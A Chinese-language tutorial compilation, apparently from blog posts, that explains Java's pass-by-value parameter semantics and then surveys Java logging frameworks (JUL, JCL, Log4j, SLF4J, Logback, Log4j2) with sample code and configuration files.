引用传递的误解与实际情况尽管Java使用值传递,但由于传递的是对象的引用副本,这种行为与引用传递相似。public class Test { public static void main(String[] args) { Person person = new Person("John"); modifyPerson(person); System.out.println("Name after method call: " + person.getName()); // 输出: Doe } static void modifyPerson(Person p) { p.setName("Doe"); // 修改对象内部的状态,影响到外部的对象 }}class Person { private String name; Person(String name) { this.name = name; } public String getName() { return name; } public void setName(String name) { this.name = name; }}在这个例子中,person对象的引用被传递给方法modifyPerson。方法内部通过引用修改了对象的属性,因此方法外部的对象状态也被修改。三、Java中参数传递的实际机制Java中的参数传递机制被称为“值传递”。具体来说:基本数据类型:当传递基本数据类型时,传递的是值的副本。因此,方法内部对参数的修改不会影响外部变量。对象:当传递对象时,传递的是对象引用的副本。由于引用副本指向同一个对象,因此方法内部对对象的修改会影响外部的对象。1. 基本数据类型的值传递public class Test { public static void main(String[] args) { int num = 10; modifyPrimitive(num); System.out.println("Value of num after method call: " + num); // 输出: 10 } static void modifyPrimitive(int x) { x = 20; // 修改副本,不影响原始变量 }}在这个例子中,num的值被复制给方法参数x,x的修改不会影响到num。2. 对象引用的值传递public class Test { public static void main(String[] args) { Person person = new Person("Alice"); modifyObject(person); System.out.println("Name after method call: " + person.getName()); // 输出: Bob } static void modifyObject(Person p) { p.setName("Bob"); // 修改对象属性,影响外部对象 }}在这个例子中,person对象的引用被传递给方法modifyObject,通过引用修改对象的属性,方法外部的对象也受到影响。3. 修改对象引用本身的副本如果在方法内部尝试更改引用本身,而不是引用所指向的对象,那么这种修改不会影响外部对象。public class Test { public static void main(String[] args) { Person person = new Person("Alice"); modifyReference(person); System.out.println("Name after method call: " + person.getName()); // 输出: Alice } static void modifyReference(Person p) { p = new Person("Charlie"); // 修改引用本身,不影响外部的引用 }}在这个例子中,方法modifyReference创建了一个新的Person对象,并将引用指向这个新对象。但这种更改仅限于方法内部,不会影响外部的person引用,因此person仍然指向原始的Person对象。四、总结1. Java中的值传递Java中的所有参数传递都是值传递:对于基本数据类型,传递的是变量的副本。因此,方法内部对参数的修改不会影响外部变量。对于对象,传递的是对象引用的副本。尽管传递的仍然是值,但由于这个值是引用,因此方法内部对对象的修改会影响外部对象。2. 理解引用传递的误解Java中没有真正的引用传递,尽管对对象引用的值传递看起来像是引用传递。因为传递的是对象引用的副本,而不是对象本身,所以方法内对引用的修改不会影响外部的引用。3. 应用场景和注意事项在实际编程中,理解Java的参数传递机制对于避免潜在的bug至关重要。例如:当你不希望方法修改外部对象时,应该避免直接传递可变对象,或者在方法内部不要修改对象的状态。如果需要在方法中修改对象,可以放心地传递对象引用,因为方法内部对对象状态的修改会影响外部。通过理解Java中的值传递和引用传递的区别,以及它们的实际表现形式,你可以编写出更为健壮和正确的Java程序,避免一些常见的编程陷阱。———————————————— 原文链接:https://blog.csdn.net/Flying_Fish_roe/article/details/143103367
-
java日志在程序开发中,日志是一个很重要的角色,其主要用于记录程序运行的情况,以便于程序在部署之后的排错调试等。日志的概念(1)日志的作用及好处查看程序的运行状态以及程序的运行轨迹,方便对程序进行分析。系统问题排查,日志结合异常处理,可快速发现程序发生异常的地点。查看系统运行时间,为系统性能优化提供相关的依据。安全审计,通过系统日志分析,可以判断一些非法攻击,非法调用,以及系统处理过程中的安全隐患。(2)最简单的日志最简单的日志使用便是System.out.print() public class Application(){ public static void main(String[] args){ // 设置日期格式 SimpleDateFormat df = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); // new Date()为获取当前系统时间 String beginTime = df.format(new Date()); System.out.print(beginTime + "程序开始了......"); ... ... ... String endTime = df.format(new Date()); System.out.print(endTime + "程序结束了......"); } }优点:直观、方便缺点:System.out.print和java运行程序运行在同一线程,业务程序会等待System.out.print的动作,导致资源被占用。System.out.print是在控制台输出,只能输出到控制台,没有存储到日志文件当中。不规范。(3)日志框架Java 拥有功能和性能都非常强大的日志库,但不幸的是,日志库并不止一个,如JUL(Java Util Log)、JCL(Commons Logging)、Log4j、SLF4J、Logback、Log4j2 等等的日志工具,那么到底使用那一个呢?Java日志的发展史日志最早出现的是Apache开源社区的Log4j,此日志确实是应用最广泛的日志工具,成为了 Java 日志事实上的标准。之后, Java 的开发主体 Sun 公司为了抢回市场,在Jdk1.4中增加了与Log4j没有关联的 JUL(java.util.logging)日志实现,用于对抗 Log4j,但是却成为了 Java 目前记录日志局面混乱的开端。当项目使用的第三方库使用了不同的日志工具时,就会造成一个应用中存在着多种日志的情况,由于各种日志之间互相没有关联,替换和统一日志工具也就变成了一件比较棘手的事情。为解决多种log工具存在的问题,Apache 开源社区提供了一个日志框架作为日志的抽象,叫 commons-logging,也被称为 JCL。JCL 会对各种日志接口进行抽象,抽象出一个接口层,实现对每个日志框架都进行适配,在使用日志工具时直接使用抽象接口即可,完成了各种主流日志框架的兼容实现(Log4j、JUL、simplelog等),较好的解决了上述问题。JCL出现之后,元老级日志Log4j 的作者 觉得 JCL 不够优秀,所以他再度开发了一套更优雅的日志框架 SLF4J(Simple Logging Facade for Java),即简单日志门面,并为 SLF4J实现了一个亲儿子——logback日志框架。在弄完后,觉得还是得照顾一下自己的“大儿子”log4j,于是对log4j进行升级,便出现了Log4j2。java common logging 和 SLF4J 都是日志的接口,供用户使用,而没有提供实现,Log4j、JUL、logback、Log4j2 等等才是日志的真正实现。他们之间的关系可看作电脑与打印机设备之间的关系,电脑连接多台没有关联的打印机,用户只需用电脑选择打印机进行打印。不相同的是,当我们调用日志接口时,接口会自动寻找恰当的实现,返回一个合适的实例给我们服务。这些过程都是透明化的,用户不需要进行任何操作。(如不理解,请继续往后阅读)日志级别日志级别 日志描述OFF 关闭:最高级别,不输出日志FATAL 致命:输出非常严重的可能会导致应用程序终止的错误。ERROR 错误:严重错误,主要是程序出错。WARN 警告:输出可能潜在的危险状况。INFO 信息:输出应用运行过程的详细信息。DEBUG 调试:输出更细致的对调试应用有用的信息。TRACE 跟踪:输出更细致的程序运行轨迹。ALL 所有:输出所有级别信息。最常见的日志级别为Debug、Info、Warn、Error日志优先级别从低到高顺序为:ALL < TRACE < DEBUG < INFO < WARN < ERROR < FATAL < OFFLog4j日志框架最先出现的日志框架,是 Apache 的一个开源项目。使用Log4j可以通过配置文件来灵活进行配置,控制日志信息的输出格式和目标,而不需要修改程序代码。使用日志级别日志级别 日志描述OFF 关闭:最高级别,不输出日志FATAL 致命:输出非常严重的可能会导致应用程序终止的错误。ERROR 错误:严重错误,主要是程序出错。WARN 警告:输出可能潜在的危险状况。INFO 信息:输出应用运行过程的详细信息。DEBUG 调试:输出更细致的对调试应用有用的信息。TRACE 跟踪:输出更细致的程序运行轨迹。ALL 所有:输出所有级别信息。日志优先级别从高到低顺序为: OFF > FATAL > ERROR > WARN > INFO > DEBUG > TRACE > ALLapache建议使用4级,即 ERROR、WARN、INFO、DEBUG使用步骤(1)引入相关依赖 <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.12</version> </dependency>(2)配置log4j核心配置文件log4j.properties先认识一下Log4j三大组件Logger、Appender、Layout。Logger: 日志记录器,日志记录的核心类,用于输出不同日志级别的消息。Appender: 日志输出目标,用于指定日志输出的目的地,如控制台、文件等等。Layout: 日志格式化器,用于指定日志按照什么格式输出,是日志输出的格式化器。配置样例:# Global logging configuration ######################### Logger ############################ # 设置日志输出级别以及输出目的地,等号后第一个参数写日志级别,级别后面写输出目的地,目的地名可自定义,多个目的地以逗号分开。 # 设置根Logger,默认输出DEBUG以上的记录,输出目标(appender)为CONSOLE、LOGFILE log4j.rootLogger=DEBUG,CONSOLE,LOGFILE ######################### Appender ######################### # 对目标CONSOLE进行配置(与Logger对应) # 设置日志目标类型为org.apache.log4j.ConsoleAppender控制台类型 log4j.appender.CONSOLE=org.apache.log4j.ConsoleAppender # 输出到的目的地 log4j.appender.CONSOLE.Target = System.out # 指定控制台输出日志级别 log4j.appender.CONSOLE.Threshold = DEBUG # 默认值是 true, 表示是否立即输出 log4j.appender.CONSOLE.ImmediateFlush = true # 设置编码方式 log4j.appender.CONSOLE.Encoding = UTF-8 # 设置日志输出布局方式Layout log4j.appender.CONSOLE.layout=org.apache.log4j.PatternLayout # 如果日志输出布局为PatternLayout 自定义级别,需要使用ConversionPattern指定输出格式 log4j.appender.CONSOLE.layout.ConversionPattern=%d{yyyy-MM-dd HH:mm:ss} %5p (%c:%L) - %m%n # 对目标LOGFILE进行设置(与Logger对应) # 设置日志目标类型为org.apache.log4j.FileAppender文件类型 log4j.appender.LOGFILE=org.apache.log4j.FileAppender # 指定输出文件路径,相对路径或绝对路径 log4j.appender.LOGFILE.File =./logs/error.log #日志输出到文件,默认为true log4j.appender.LOGFILE.Append = true # 指定输出日志级别 log4j.appender.LOGFILE.Threshold = ERROR # 是否立即输出,默认值是 true, log4j.appender.LOGFILE.ImmediateFlush = true # 设置编码方式 log4j.appender.LOGFILE.Encoding = UTF-8 # 设置日志输出布局方式Layout log4j.appender.LOGFILE.layout = org.apache.log4j.PatternLayout # 如果日志输出布局为PatternLayout 自定义级别,需要使用ConversionPattern指定输出格式 log4j.appender.LOGFILE.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%nrootLogger部分总是存在一个rootLogger,即使没有显示配置也是存在的,并且默认输出级别为DEBUG,所有其他的Logger都默认继承自rootLogger子Logger格式:log4j.logger.childName=INFO,appenderName1,appenderName2...注意,在设置子Logger后,会造成appender叠加,即子Logger输出一次,父Logger也会输出一次,如果要限制叠加,则需要添加下面的语句: log4j.additivity.childName=falseAppender部分日志信息输出目的地类型类型 描述org.apache.log4j.ConsoleAppender 控制台org.apache.log4j.FileAppender 文件org.apache.log4j.DailyRollingFileAppender 每天产生一个日志文件org.apache.log4j.RollingFileAppender 文件大小到达指定尺寸的时候产生一个新的文件org.apache.log4j.WriterAppender 将日志信息以流格式发送到任意指定的地方ConsoleAppender控制台常配置属性Threshold: 指定日志消息的输出最低日记级别。ImmediateFlush: 默认值是true,意谓着所有的消息都会被立即输出。Target:指定输出控制台,默认情况下是System.outFileAppender 文件的常配置属性Threshold:指定日志消息的输出最低日记级别。ImmediateFlush:默认值是true,意谓着所有的消息都会被立即输出。File:指定消息输出的文件路径。Append:默认值是true,即将消息增加到指定文件中,false指将消息覆盖指定的文件内容。RollingFileAppender的常配置属性Threshold:指定日志消息的输出最低日记级别。ImmediateFlush:默认值是true,意谓着所有的消息都会被立即输出。File:指定消息输出到mylog.txt文件。Append:默认值是true,即将消息增加到指定文件中,false指将消息覆盖指定的文件内容。MaxFileSize:后缀可以是KB, MB 或者是 GB. 在日志文件到达该大小时,将会自动滚动,即将原来的内容移到mylog.log.1文件。MaxBackupIndex=2:指定可以产生的滚动文件的最大数。Layout部分每一个Appender都会指定一个布局,布局的类型有如下:类型 描述org.apache.log4j.HTMLLayout 以HTML表格形式布局org.apache.log4j.PatternLayout 可以灵活地指定布局模式org.apache.log4j.SimpleLayout 包含日志信息的级别和信息字符串org.apache.log4j.TTCCLayout 包含日志产生的时间、线程、类别等等信息其中PatternLayout类型格式为自定义的,指定此类型需要设置ConversionPattern属性,如: log4j.appender.A1.layout.ConversionPattern=%-4r %-5p %d{yyyy-MM-dd HH:mm:ssS} %c %m%nConversionPattern配置属性符号 描述%p 输出日志信息优先级,即DEBUG,INFO,WARN,ERROR,FATAL%d 输出日志时间点的日期或时间,默认格式为ISO8601,也可以在其后指定格式,比如:%d{yyyy MM dd HH:mm:ss,SSS},输出类似:2002年10月18日 22:10:28,921%r 输出自应用启动到输出该log信息耗费的毫秒数%c 输出日志信息所属的类目,通常就是所在类的全名%t 输出产生该日志事件的线程名%l 输出日志事件的发生位置,相当于%C.%M(%F:%L)的组合,包括类目名、发生的线程,以及在代码中的行数。%x 输出和当前线程相关联的NDC(嵌套诊断环境)%F 输出日志消息产生时所在的文件名称%L 输出代码中的行号%m 输出代码中指定的消息,产生的日志具体信息%n 输出一个回车换行符,Windows平台为”\r\n",Unix平台为"\n"输出日志信息换行%% 输出一个"%“字符- "-"号指定左对齐,位于%与字母间,例:%-d. "."号指定字符长度,超过设置长度则将左边多余的截掉,例%.20c(3)代码中使用 import org.apache.log4j.Logger; public class TestLog4j { public static void main(String[] args) { // 获取此类的logger,getLogger()中写此类 final Logger logger = Logger.getLogger(TestLog4j.class); // 获取在配置文件中自定义的appender,即输出目标 final Logger saveUserLog = Logger.getLogger("Console"); // 手动设置日志输出 logger.info("info"); logger.error("error"); saveUserLog.info("张三,男,26岁,北京大学,2018-05-19,学霸"); } }总结:用户使用Logger来进行日志记录,Logger持有若干个Appender,日志的输出操作是由Appender完成的,它会将日志内容输出到指定位置(日志文件、控制台等)。Appender在输出日志时会使用Layout,将输出内容进行排版。JUL日志框架JUL全称Java Util Logging,是Java原生的日志框架,使用时不需要另外引入第三方类库,相对于其他日志框架来说其特点是使用方便,能够在小型应用中灵活应用。JUL是 Sun 公司于 2002 年 5 月正式发布的。它是自 J2SE 1.4 版本开始提供的一个新的应用程序接口,需 JDK1.4 版本以上才能支持。JUL日志框架使用的频率并不高,但开发时难免会涉及,最好能理解。JUL日志组件组件 描述Logger(记录器) 用于记录系统或应用程序的消息,是访问日志系统的入口程序Handler(处理器) 也称Appender,从记录器获取日志消息并输出,决定日志记录最终的输出位置Filters(过滤器) 用于对记录的内容提供细粒度控制,超出日志级别提供的控制Formatter(格式) 提供对日志记录格式化的支持,决定日志记录最终的输出形式,相当于LayoutJUL使用的日志级别级别 描述OFF 关闭所有消息的日志记录SEVERE 错误信息WARNING 警告信息INFO 默认信息CONFIG 配置信息FINE 较详细FINER 详细FINEST 超详细ALL 启用所有消息的日志记录日志优先级别从高到低顺序为: OFF > SEVERE > WARNING > INFO > CONFIG > FINE > FINER > FINEST > ALLJUL使用JUL在Java中有系统默认的配置文件,当开发人员没有设置配置文件时,则会使用系统默认的配置文件。使用步骤(无配置文件):1、导入java.util.logging.Logger包2、获取当前类的日志记录器Logger3、调用日志的相关方法,进行日志信息的输出示例: import org.junit.Test; import java.util.logging.Level; import java.util.logging.Logger; public class JULTest { @Test public void test01() { // 引入当前类的全路径字符串获取日志记录器 Logger logger = Logger.getLogger("com.jul.JulTest"); // 注:在获取logger之后,可使用logger的API接口进行日志配置 // 例如:logger.setLevel(level.INFO) 配置日志显示的最低级别 // 此方式代码耦合度过高,代码复杂,不建议使用 String name = "张三"; int age = 23; // 打印日志信息,对于日志的输出有两种方式 // 1、直接调用日志级别的相关方法,方法中传递日志输出信息 logger.info("学生姓名:" + name + ",学生年龄:" + age"); // 2、调用log方法,通过Level类型定义日志级别参数,以及搭配日志输出信息的参数 logger.log(Level.INFO, "学生姓名:" + name + ",学生年龄:" + age"); // 拼接字符串一般不建议使用,性能差,效率低,推荐使用占位符进行输出 logger.log(Level.INFO, "学生姓名:{0},学生年龄:{1}", new Object[]{name, age}); } }使用步骤(有配置文件):1、在resource目录下配置logging.properties示例: # RootLogger的日志级别(默认INFO),所有的Handler都受限于此日志级别,Handler的日志级别可以比RootLogger的日志级别高 .level=ALL # RootLogger默认的处理器,可以配置多个,所有非手动解除父日志的子日志都将使用这些处理器 handlers=java.util.logging.ConsoleHandler, java.util.logging.FileHandler # ConsoleHandler控制台输出处理器配置 # 指定ConsoleHandler默认日志级别 java.util.logging.ConsoleHandler.level=ALL java.util.logging.ConsoleHandler.encoding=UTF-8 # FileHandler文件输出处理器配置 # 指定FileHandler默认日志级别 java.util.logging.FileHandler.level=INFO # 日志文件输出路径 java.util.logging.FileHandler.pattern=/dylan%u.log # 单个日志文件大小,单位是bit,1024bit即为1kb java.util.logging.FileHandler.limit=1024*1024*10 # 日志文件数量,如果数量为2,则会生成dylan.log.0文件和dylan.log.1文件,总容量为: (limit * count)bit java.util.logging.FileHandler.count=1 # FileHandler持有的最大并发锁数 java.util.logging.FileHandler.maxLocks=100 # 指定要使用的Formatter类的名称,FileHandler默认使用的是XMLFormatter java.util.logging.FileHandler.formatter=java.util.logging.SimpleFormatter # 涉及中文日志就最好加上编码集 java.util.logging.FileHandler.encoding=UTF-8 # 是否以追加方式添加日志内容 java.util.logging.FileHandler.append=true # SimpleFormatter的输出格式配置 java.util.logging.SimpleFormatter.format=%4$s: %5$s [%1$tc]%n2、在代码中读取配置文件3、获取LogManager4、获取当前类的日志记录器Logger5、调用日志的相关方法,进行日志信息的输出示例:import org.apache.log4j.Logger; public class TestLog4j { @Test public void testUserDefined() throws IOException { // 1.读取配置文件 InputStream in = new FileInputStream("logging.properties"); // 2.获取LogManager日志管理器 final LogManager logManager = LogManager.getLogManager(); // 3.日志管理器读取自定义配置文件 logManager.readConfiguration(in); // 4.输出日志信息 Logger logger = Logger.getLogger("com.jul.TestLog4j"); logger.warning("warning:警告信息"); logger.info("info:默认信息"); }JCL 日志门面Jakarta Commons-logging(JCL)是apache最早提供的日志门面。它为多种日志框架提供一个通用的日志接口,并通过动态查找机制,在程序运行时自动找出真正使用的日志组件。用户可通过配置,自由选择第三方的日志组件作为日志的具体实现。使用日志级别日志级别 日志描述OFF 关闭:最高级别,不输出日志FATAL 致命:输出非常严重的可能会导致应用程序终止的错误。ERROR 错误:严重错误,主要是程序出错。WARN 警告:输出可能潜在的危险状况。INFO 信息:输出应用运行过程的详细信息。DEBUG 调试:输出更细致的对调试应用有用的信息。TRACE 跟踪:输出更细致的程序运行轨迹。ALL 所有:输出所有级别信息。日志优先级别从高到低顺序为: OFF > FATAL > ERROR > WARN > INFO > DEBUG > TRACE > ALLapache建议使用4级,即 ERROR、WARN、INFO、DEBUG使用步骤(1)导入common-logging依赖 <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version> </dependency>(2)在项目的src/main/resource目录下创建common-logging.properties配置: // 指定使用的日志框架 org.apache.commons.logging.Log=org.apache.commons.logging.impl.SimpleLog(3)在程序中使用logger开发 import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; public class CommonsTest { //使用common-logger的logFactory.getLog()方法获取当前类的logger private final static Log logger = LogFactory.getLog(CommonsTest.class); public static void main(String[] args) { //使用logger输出日志 logger.debug("DEBUG ..."); logger.info("INFO ..."); logger.error("ERROR ..."); logger.warn("WARN..."); } }commons.logging原理JCL有两个重要的抽象类:Log( 基本记录器 ) 和 LogFactory( 负责创建 Log 实例 )Log:包含着多个日志框架的默认实现类实现类 对应日志框架org.apache.commons.logging.impl.Jdk14Logger JULorg.apache.commons.logging.impl.Log4JLogger Log4Jorg.apache.commons.logging.impl.LogKitLogger avalon-Logkitorg.apache.commons.logging.impl.SimpleLog common-logging自带org.apache.commons.logging.impl.NoOpLog common-logging自带这些实现类中只有common-logging自带的SimpleLog和NoOpLog有实际的log实现,其他的实现类需要使用对应的日志组件进行具体的实现。LogFactory:顾名思义,是log的工厂,负责使用动态查找机制进行log实例的获取。其查找步骤如下(找到则停):1、首先在classpath下寻找commons-logging.properties文件中配置的log,如存在,则使用;2、查看classpath中是否有Log4j的包,如果发现,则自动使用Log4j作为日志实现类;3、使用JDK自身的日志实现类java.util.logging.Logger;4、使用commons-logging自己提供的简单的日志实现类SimpleLog;文件commons-logging.properties的配置(可选)一句话! // 指定使用的日志框架 org.apache.commons.logging.Log=org.apache.commons.logging.impl.Log4JLogger由于commons-logging并没有进行具体的日志实现,更多的时候用作适配器使用,即插即拔,所以并不需要太多的配置,详细的配置由使用的日志组件进行配置。当然,如果使用的是commons-logging自带的SimpleLog进行日志实现,则需要进行稍微多一点的配置。SimpleLog这是一个很简单的日志输出实现类,它只能控制台输出,提供了以下可定制的属性// 是否输出类的全路径名,如:com.qinxin.User,默认为false org.apache.commons.logging.simplelog.showlogname // 是否输出类的短路径名,如:User,默认为true且与showlogname不能共存 org.apache.commons.logging.simplelog.showShortLogname // 是否输出时间,默认不输出 org.apache.commons.logging.simplelog.showdatetime // 输出的时间格式,默认为yyyy/MM/dd HH:mm:ss:SSS zzz org.apache.commons.logging.simplelog.dateTimeFormatNoOpLog这个实现类什么都不做,所有的方法均为空附言:commons-logging一般不使用自带的日志框架,最多的使用是搭配log4j进行开发,此搭配也是主流选择之一。SLF4J简单的日志门面SLF4J(Simple logging Facade for Java)与JCL(commons-logging)一样,并不是一个真正的日志实现,而是一个抽象层,具体实现都交由日志框架完成。它封装有各种Logging所需要使用到的api,每个logging对应一种日志框架,用户在使用时只需要将使用的日志框架进行绑定即可。SLF4J运行机制如前面所言,SLF4J是一个日志门面,也是一种规范。它提供一个供各种日志框架作具体实现的接口SLF4JServiceProvider,各日志框架想要绑定SLF4J并使用,就必须对接口SLF4JServiceProvider进行实现(由日志框架提供方实现,开发者无需担心),之后,SLF4J会通过SPI机制(Java内置的服务发现机制)对项目类路径下所有实现了SLF4JServiceProvider接口的实例类进行扫描,获取对应的Logger工厂类。补充说明:如果实例列表中存在1个或多个实例,只获取第一个实例,即配置多个日志框架,只会使用最先被加载的那一个。如果一个日志框架都不存在,则打印警告信息。SPI机制要求日志框架提供方实现SLF4JServiceProvider,但多数框架并不会想LogBack一样主动实现该接口,所以出现了slf4j-log4j12、slf4j-jdk14、slf4j-simple等项目,也只有引入这些依赖,SPI机制才会扫描到。SLF4J使用1、在maven项目中引入依赖<dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-api</artifactId> <version>2.0.5</version> </dependency> <dependency> <groupId>ch.qos.logback</groupId> <artifactId>logback-classic</artifactId> <version>1.4.10</version> </dependency>2、在classpath路径下配置logback.xml(详细配置请看LogBack篇)<?xml version="1.0" encoding="UTF-8" ?> <configuration> <appender name="Console" class="ch.qos.logback.core.ConsoleAppender"> <encoder> <pattern>%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n</pattern> </encoder> </appender> <root level="DEBUG"> <appender-ref ref="Console"/> </root> </configuration>3、在代码中使用import org.slf4j.Logger; import org.slf4j.LoggerFactory; public class Main { private static final Logger logger = LoggerFactory.getLogger(Main.class); public static void main(String[] args) { logger.info("这是info信息"); logger.warn("这是warn信息"); logger.debug("这是debug信息"); } }SLF4j的优点即插即拔,可快速进行日志框架的替换支持”{}“占位符功能。字符串拼接一直一来都被人所诟病的存在,每一次拼接并非是在原有的字符串上增加,而是重新创建一个String类型的字符串,极其消耗性能和空间。而使用占位符功能不仅降低了你代码中字符串连接次数,而且还节省了新建的String对象。这也是很多人喜欢使用SLF4J而不是commons-logging的原因。LogBack日志框架LogBack与SLF4j是同一作者开发,可以说,LogBack是为SLF4J而生,它比log4j更小、更快、更灵活。LogBack的三个模块:logback-core:核心代码模块logback-classic:日志模块,完整实现了 SLF4J APIlogback-access:配合Servlet容器,提供 http 访问日志功能在别人的项目中,你可能看到别人只引入了logback-classic依赖,而没有引入核心模块,那是因为通常引入logback-classic的依赖,便可自动引入logback-core,但保险起见,建议引入两者或者全部。SpringBoot默认集成了logback和slf4j,因此无需专门引入便可进行直接使用,若不放心,也可显式添加配置。LogBack的日志级别日志级别 日志描述OFF 关闭:最高级别,不输出日志FATAL 致命:输出非常严重的可能会导致应用程序终止的错误。ERROR 错误:严重错误,主要是程序出错。WARN 警告:输出可能潜在的危险状况。INFO 信息:输出应用运行过程的详细信息。DEBUG 调试:输出更细致的对调试应用有用的信息。TRACE 跟踪:输出更细致的程序运行轨迹。ALL 所有:输出所有级别信息。日志优先级别从高到低顺序为: OFF > FATAL > ERROR > WARN > INFO > DEBUG > TRACE > ALLLogBack的使用1、在maven项目中导入依赖<dependency> <groupId>ch.qos.logback</groupId> <artifactId>logback-classic</artifactId> <version>1.2.10</version> </dependency>2、在项目类路径中配置LogBack.xml(或者LogBack.groovy)配置样例:<?xml version="1.0" encoding="UTF-8"?> <configuration debug="true" scan="true" scanPeriod="1 seconds"> <contextName>logback</contextName> <!--定义参数,可以通过${app.name}使用--> <property name="app.name" value="logback_test"/> <!--root是默认的logger,level指定输出日志级别是trace--> <root level="trace"> <!--绑定两个appender,日志通这两个appender配置进行输出--> <appender-ref ref="console"/> <appender-ref ref="file"/> </root> <!--自定义Logger,输出日志级别为warn,身为子Logger,它会继承root节点的appender--> <logger name="logbackTest" level="warn"/> <!--自定义Logger,设置了appender,同时继承root的appender,会导致一条日志在控制台输出两次的情况--> <!--可通过设置additivity指定不使用rootLogger配置的appender进行输出--> <logger name="mytest" level="info" additivity="false"> <appender-ref ref="stdout"/> </logger> <!--设置root中定义的appender,用class属性指定日志为ConsoleAppender控制台输出日志--> <appender name="stdout" class="ch.qos.logback.core.ConsoleAppender"> <!--定义过滤器,要求只打印比此日志级别更高的日志--> <filter class="ch.qos.logback.classic.filter.ThresholdFilter"> <level>DEBUG</level> </filter> <!-- encoder 默认配置为PatternLayoutEncoder自定义布局,需要配置格式 --> <encoder> <pattern>%d [%thread] %-5level %logger{36} [%file : %line] - %msg%n</pattern> </encoder> </appender> <appender name="file" class="ch.qos.logback.core.rolling.RollingFileAppender"> <!--定义日志输出的相对路径/绝对路径,${app.name}为引用properties定义的参数--> <file>/logs/${app.name}.log</file> <!--定义日志滚动的策略--> <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy"> <!--定义文件滚动时的文件名的格式--> <fileNamePattern>/logs/${app.name}.%d{yyyy-MM-dd.HH}.log.gz </fileNamePattern> <!--设置60天的时间周期,日志量最大20GB--> <maxHistory>60</maxHistory> <!-- 该属性在 1.1.6版本后 才开始支持--> <totalSizeCap>20GB</totalSizeCap> </rollingPolicy> <triggeringPolicy class="ch.qos.logback.core.rolling.SizeBasedTriggeringPolicy"> <!--每个日志文件最大100MB--> <maxFileSize>100MB</maxFileSize> </triggeringPolicy> <!--定义输出格式--> <encoder> <pattern>%d [%thread] %-5level %logger{36} [%file : %line] - %msg%n</pattern> </encoder> </appender> </configuration>每次看到xml配置都很头痛,但日志配置总会遵循着Logger、Appender、Layout进行开展。3、在代码中使用 public class Main { private static final Logger logger = LoggerFactory.getLogger(Main.class); public static void main(String[] args) { logger.info("这是info信息"); logger.warn("这是warn信息"); logger.debug("这是debug信息"); } }Log4j2日志框架log4j2是log4j的升级版,继logBack之后出现,拥有着更高的性能和日志吞吐量,且引进有新的技术(无锁异步等),并且配置更加灵活。目前最火热的搭配为SLF4J+Log4j2日志开发。Log4j2中文文档:Log4j2 中文文档 - Log4j2 2.x Manual | Docs4devLog4j2的日志级别日志级别 日志描述OFF 关闭:最高级别,不输出日志FATAL 致命:输出非常严重的可能会导致应用程序终止的错误。ERROR 错误:严重错误,主要是程序出错。WARN 警告:输出可能潜在的危险状况。INFO 信息:输出应用运行过程的详细信息。DEBUG 调试:输出更细致的对调试应用有用的信息。TRACE 跟踪:输出更细致的程序运行轨迹。ALL 所有:输出所有级别信息。日志优先级别从高到低顺序为: OFF > FATAL > ERROR > WARN > INFO > DEBUG > TRACE > ALLlog4j2配置log4j2配置文件可有yml、properties、xml、json等格式,常见使用xml格式。多个配置文件存在时,加载的优先级为 properties > yaml > json > xml。配置样例(简洁模式):<?xml version="1.0" encoding="UTF-8"?> <!--根元素,status设置应该记录到控制台的内部 Log4j 事件的级别--> <Configuration status="WARN"> <!--设置全局变量--> <Properties> <Property name="date_format" value="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/> <Property name="log_path">D:/logs</Property> </Properties> <!--设置过滤器--> <Filter type="ThresholdFilter" level="trace"/> <!--设置输出目标--> <Appenders> <!--配置一个名为Console的控制台类型appender--> <Console name="Console" target="SYSTEM_OUT"> <!--设置输出格式,引用全局变量--> <PatternLayout pattern="${date_format}"/> <!--控制台只输出level及其以上级别的信息(onMatch),其他的直接拒绝(onMismatch)--> <ThresholdFilter level="info" onMatch="ACCEPT" onMismatch="DENY"/> </Console> <!--配置一个名为File的文件类型appender--> <File name="File" fileName="${log_path}/xml_config.log"> <PatternLayout pattern="%d %p %c{1.} [%t] %m%n"/> </File> <!-- 这个会打印出所有的error及以下级别的信息,每次大小超过size,则这size大小的日志会自动存入按年份-月份建立的文件夹下面并进行压缩,作为存档--> <RollingFile name="RollingFileError" fileName="${log_path}/error.log" filePattern="${log_path}/$${date:yyyy-MM}/${FILE_NAME}-%d{yyyy-MM-dd}-ERROR_%i.log.gz"> <!--控制台只输出level及以上级别的信息(onMatch),其他的直接拒绝(onMismatch)--> <ThresholdFilter level="error" onMatch="ACCEPT" onMismatch="DENY"/> <PatternLayout pattern="${LOG_PATTERN}"/> <Policies> <!--interval属性用来指定多久滚动一次,默认是1小时--> <TimeBasedTriggeringPolicy interval="1"/> <SizeBasedTriggeringPolicy size="20MB"/> </Policies> <!-- DefaultRolloverStrategy属性如不设置,则默认为最多同一文件夹下7个文件开始覆盖--> <DefaultRolloverStrategy max="15"/> </RollingFile> <!--配置名为database的数据库类型的appender--> <JDBC name="databaseAppender" tableName="dbo.application_log"> <DataSource jndiName="java:/comp/env/jdbc/LoggingDataSource" /> <Column name="eventDate" isEventTimestamp="true" /> <Column name="level" pattern="%level" /> <Column name="logger" pattern="%logger" /> <Column name="message" pattern="%message" /> <Column name="exception" pattern="%ex{full}" /> </JDBC> </Appenders> <Loggers> <!--配置根Logger,设置日志级别为info--> <Root level="info"> <!--使用在Appenders中定义的名为Console的appender--> <AppenderRef ref="Console"/> </Root> <!--配置子Logger,--> <Logger name="com.qinxin.Log4j2Test" level="debug" additivity="false"> <AppenderRef ref="File" </Logger> </Loggers> </Configuration>各节点层级关系:Configuration <!--配置文件根节点-->Name <!--日志项目名称(可选)-->Properties <!--全局配置参数(可选)-->Filter <!--过滤器(可选)-->Appenders <!--输出目标-->Async <!--设置异步Appender(不推荐,推荐使用异步Logger)-->AppenderRef <!--绑定Appender-->ConsoleAppender <!--在控制台输出的Appender-->PatternLayout <!--自定义输出格式-->ThresholdFilterFileAppender <!--在文件输出的Appender-->PatternLayout <!--自定义输出格式-->ThresholdFilterJDBCAppender 